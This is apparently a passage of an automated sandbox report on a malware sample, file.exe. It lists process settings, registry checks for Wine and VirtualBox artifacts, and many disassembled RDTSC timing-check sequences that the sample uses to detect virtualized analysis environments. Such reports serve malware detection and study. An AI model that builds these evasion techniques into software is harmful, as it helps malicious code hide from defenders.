Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A8C2E second address: 9A8C60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007FEEE08A2317h 0x0000000d jmp 00007FEEE08A2310h 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A8C60 second address: 9A8C84 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEEE0EE360Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jc 00007FEEE0EE3606h 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 push eax 0x00000015 pop eax 0x00000016 popad 0x00000017 jng 00007FEEE0EE3608h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A8DAB second address: 9A8DB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jno 00007FEEE08A2306h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A9353 second address: 9A9364 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FEEE0EE360Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AC0E6 second address: 9AC0EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AC0EA second address: 9AC0FF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEEE0EE3611h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AC0FF second address: 9AC104 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AC104 second address: 9AC10A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AC10A second address: 9AC140 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b jmp 00007FEEE08A230Ah 0x00000010 mov eax, dword ptr [eax] 0x00000012 jmp 00007FEEE08A230Ch 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FEEE08A230Dh 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AC140 second address: 9AC146 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AC2A0 second address: 9AC2C0 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FEEE08A230Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 jp 00007FEEE08A2306h 0x00000017 push edi 0x00000018 pop edi 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AC2C0 second address: 9AC2D8 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FEEE0EE360Ch 0x00000008 jl 00007FEEE0EE3606h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov eax, dword ptr [eax] 0x00000012 push eax 0x00000013 push edx 0x00000014 push esi 0x00000015 push edx 0x00000016 pop edx 0x00000017 pop esi 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AC2D8 second address: 9AC305 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FEEE08A2314h 0x00000008 jmp 00007FEEE08A230Eh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FEEE08A230Fh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AC305 second address: 9AC30A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AC30A second address: 9AC348 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pop eax 0x00000008 sub dword ptr [ebp+122D19AAh], ecx 0x0000000e lea ebx, dword ptr [ebp+12459FE8h] 0x00000014 push 00000000h 0x00000016 push edi 0x00000017 call 00007FEEE08A2308h 0x0000001c pop edi 0x0000001d mov dword ptr [esp+04h], edi 0x00000021 add dword ptr [esp+04h], 0000001Ch 0x00000029 inc edi 0x0000002a push edi 0x0000002b ret 0x0000002c pop edi 0x0000002d ret 0x0000002e xchg eax, ebx 0x0000002f push eax 0x00000030 push edx 0x00000031 push esi 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AC348 second address: 9AC34D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AC34D second address: 9AC352 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AC352 second address: 9AC358 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AC358 second address: 9AC365 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AC365 second address: 9AC36B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AC36B second address: 9AC370 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AC3D2 second address: 9AC435 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEEE0EE3618h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a push eax 0x0000000b jmp 00007FEEE0EE360Ch 0x00000010 nop 0x00000011 clc 0x00000012 push 00000000h 0x00000014 call 00007FEEE0EE3609h 0x00000019 pushad 0x0000001a push edx 0x0000001b push eax 0x0000001c pop eax 0x0000001d pop edx 0x0000001e pushad 0x0000001f jmp 00007FEEE0EE360Ch 0x00000024 jmp 00007FEEE0EE360Eh 0x00000029 popad 0x0000002a popad 0x0000002b push eax 0x0000002c push ebx 0x0000002d push eax 0x0000002e push edx 0x0000002f jc 00007FEEE0EE3606h 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AC435 second address: 9AC439 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AC439 second address: 9AC49D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b pushad 0x0000000c jmp 00007FEEE0EE3612h 0x00000011 pushad 0x00000012 jl 00007FEEE0EE3606h 0x00000018 jmp 00007FEEE0EE3618h 0x0000001d popad 0x0000001e popad 0x0000001f mov eax, dword ptr [eax] 0x00000021 pushad 0x00000022 jmp 00007FEEE0EE3613h 0x00000027 push edx 0x00000028 push edx 0x00000029 pop edx 0x0000002a pop edx 0x0000002b popad 0x0000002c mov dword ptr [esp+04h], eax 0x00000030 push eax 0x00000031 push edx 0x00000032 push edx 0x00000033 push ecx 0x00000034 pop ecx 0x00000035 pop edx 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AC49D second address: 9AC4A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AC4A3 second address: 9AC504 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 mov dword ptr [ebp+122D2D6Bh], edi 0x0000000f mov ecx, dword ptr [ebp+122D2948h] 0x00000015 push 00000003h 0x00000017 add edi, 0EF888E9h 0x0000001d push 00000000h 0x0000001f push 00000000h 0x00000021 push ecx 0x00000022 call 00007FEEE0EE3608h 0x00000027 pop ecx 0x00000028 mov dword ptr [esp+04h], ecx 0x0000002c add dword ptr [esp+04h], 00000016h 0x00000034 inc ecx 0x00000035 push ecx 0x00000036 ret 0x00000037 pop ecx 0x00000038 ret 0x00000039 push esi 0x0000003a jmp 00007FEEE0EE3611h 0x0000003f pop esi 0x00000040 push 00000003h 0x00000042 mov dword ptr [ebp+122D26A1h], edi 0x00000048 push 9014A48Dh 0x0000004d push edi 0x0000004e push ecx 0x0000004f push eax 0x00000050 push edx 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AC6BD second address: 9AC6D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEEE08A2310h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AC6D1 second address: 9AC719 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEEE0EE3618h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c je 00007FEEE0EE361Bh 0x00000012 pushad 0x00000013 jmp 00007FEEE0EE3611h 0x00000018 push edx 0x00000019 pop edx 0x0000001a popad 0x0000001b mov eax, dword ptr [esp+04h] 0x0000001f push eax 0x00000020 pushad 0x00000021 jg 00007FEEE0EE3606h 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AC719 second address: 9AC72B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 mov eax, dword ptr [eax] 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jl 00007FEEE08A2306h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AC72B second address: 9AC735 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FEEE0EE3606h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CBA14 second address: 9CBA18 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CBBBE second address: 9CBBCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FEEE0EE3606h 0x0000000a popad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CBBCE second address: 9CBBD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CBFA3 second address: 9CBFC8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEEE0EE3612h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FEEE0EE360Fh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CBFC8 second address: 9CBFDD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEEE08A2311h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CC126 second address: 9CC130 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FEEE0EE3606h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CCD27 second address: 9CCD2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CCD2B second address: 9CCD5F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEEE0EE360Eh 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push esi 0x0000000b pop esi 0x0000000c jmp 00007FEEE0EE3617h 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CCD5F second address: 9CCD69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FEEE08A2306h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CCD69 second address: 9CCD75 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CCEC0 second address: 9CCECA instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FEEE08A230Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CF451 second address: 9CF46C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEEE0EE3616h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CF46C second address: 9CF472 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CF472 second address: 9CF476 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CF476 second address: 9CF47A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CFADF second address: 9CFAE9 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FEEE0EE360Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CE9A6 second address: 9CE9AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CE9AD second address: 9CE9B2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CFDB2 second address: 9CFDB7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 991169 second address: 991179 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edi 0x00000006 push ecx 0x00000007 pushad 0x00000008 ja 00007FEEE0EE3606h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D7133 second address: 9D7142 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jo 00007FEEE08A2308h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D7142 second address: 9D7173 instructions: 0x00000000 rdtsc 0x00000002 je 00007FEEE0EE361Bh 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FEEE0EE3610h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D7173 second address: 9D7177 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D7177 second address: 9D717B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D76F2 second address: 9D76F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D76F8 second address: 9D76FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DAF13 second address: 9DAF17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DAF17 second address: 9DAF1D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DAF1D second address: 9DAF45 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FEEE08A2306h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c add dword ptr [esp], 791BE696h 0x00000013 mov edi, dword ptr [ebp+122D25FEh] 0x00000019 call 00007FEEE08A2309h 0x0000001e push eax 0x0000001f push edx 0x00000020 push ebx 0x00000021 push esi 0x00000022 pop esi 0x00000023 pop ebx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DAF45 second address: 9DAFA7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEEE0EE360Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FEEE0EE360Fh 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 jmp 00007FEEE0EE360Bh 0x00000018 mov eax, dword ptr [eax] 0x0000001a jns 00007FEEE0EE361Eh 0x00000020 mov dword ptr [esp+04h], eax 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007FEEE0EE360Ch 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DB08A second address: 9DB090 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DB294 second address: 9DB298 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DBB7E second address: 9DBB9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEEE08A2318h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DBC88 second address: 9DBCA1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FEEE0EE360Fh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DBD6F second address: 9DBD73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DBEED second address: 9DBEF2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DBFA5 second address: 9DBFAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DC124 second address: 9DC13C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jne 00007FEEE0EE3606h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f jc 00007FEEE0EE360Eh 0x00000015 push ebx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DC67B second address: 9DC67F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DCE7A second address: 9DCE7E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DCE7E second address: 9DCE8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DCE8C second address: 9DCE90 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DCE90 second address: 9DCE96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DF555 second address: 9DF55F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007FEEE0EE3606h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DF5E8 second address: 9DF5EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DF2DD second address: 9DF2E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DF2E4 second address: 9DF312 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007FEEE08A2306h 0x00000009 jmp 00007FEEE08A2313h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jc 00007FEEE08A230Ch 0x0000001a jg 00007FEEE08A2306h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DF312 second address: 9DF318 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DFED9 second address: 9DFEE7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007FEEE08A230Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DF318 second address: 9DF31C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E166C second address: 9E1670 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E1670 second address: 9E1676 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E1676 second address: 9E1698 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEEE08A2318h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
